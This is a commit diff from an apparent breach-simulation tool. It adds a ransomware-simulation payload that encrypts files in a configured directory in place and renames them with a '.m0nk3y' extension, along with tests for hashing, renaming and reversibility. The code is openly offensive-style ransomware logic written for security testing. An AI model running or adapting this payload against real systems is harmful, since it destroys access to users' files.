agent: Rename files encrypted by ransomware with .m0nk3y extension

This commit is contained in:
Mike Salvatore 2021-06-22 21:42:23 -04:00
parent 1ff348d2fc
commit 2dd75d7d0c
3 changed files with 46 additions and 8 deletions

View File

@ -15,6 +15,7 @@ from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
CHUNK_SIZE = 64
EXTENSION = ".m0nk3y"
class RansomewarePayload:
@ -23,6 +24,8 @@ class RansomewarePayload:
LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}")
self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
self._valid_file_extensions_for_encryption.discard(EXTENSION)
def run_payload(self):
file_list = self._find_files()
@ -30,7 +33,7 @@ class RansomewarePayload:
def _find_files(self):
file_filters = [
file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION),
file_extension_filter(self._valid_file_extensions_for_encryption),
is_not_shortcut_filter,
is_not_symlink_filter,
]
@ -41,6 +44,7 @@ class RansomewarePayload:
def _encrypt_files(self, file_list):
for filepath in file_list:
self._encrypt_file(filepath)
self._add_extension(filepath)
def _encrypt_file(self, filepath):
with open(filepath, "rb+") as f:
@ -54,3 +58,7 @@ class RansomewarePayload:
f.write(encrypted_data)
data = f.read(CHUNK_SIZE)
def _add_extension(self, filepath: Path):
new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}")
filepath.rename(new_filepath)

View File

@ -0,0 +1 @@
Monkey see, Monkey do.

View File

@ -8,14 +8,20 @@ from tests.utils import is_user_admin
from infection_monkey.ransomware.ransomware_payload import RansomewarePayload
EXTENSION = ".m0nk3y"
SUBDIR = "subdir"
ALL_ZEROS_PDF = "all_zeros.pdf"
ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y"
HELLO_TXT = "hello.txt"
SHORTCUT_LNK = "shortcut.lnk"
TEST_KEYBOARD_TXT = "test_keyboard.txt"
TEST_LIB_DLL = "test_lib.dll"
ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9"
ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = (
"ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a"
)
HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8"
SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9"
TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = (
@ -38,6 +44,10 @@ def hash_file(filepath: Path):
return sha256.hexdigest()
def with_extension(filename):
return f"{filename}{EXTENSION}"
@pytest.fixture
def ransomware_target(tmp_path, data_for_tests_dir):
ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets"
@ -87,8 +97,11 @@ def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload):
ransomware_payload.run_payload()
assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
assert (
hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT))
== TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
)
def test_file_encrypted_in_place(tmp_path, ransomware_payload):
@ -97,18 +110,34 @@ def test_file_encrypted_in_place(tmp_path, ransomware_payload):
ransomware_payload.run_payload()
actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino
actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino
actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino
actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino
assert expected_all_zeros_inode == actual_all_zeros_inode
assert expected_test_keyboard_inode == actual_test_keyboard_inode
def test_encryption_reversible(tmp_path, ransomware_payload):
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
orig_path = tmp_path / TEST_KEYBOARD_TXT
new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT)
assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
ransomware_payload.run_payload()
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
new_path.rename(orig_path)
ransomware_payload.run_payload()
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
assert (
hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT))
== TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
)
def test_skip_already_encrypted_file(tmp_path, ransomware_payload):
ransomware_payload.run_payload()
assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists()
assert (
hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y)
== ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256
)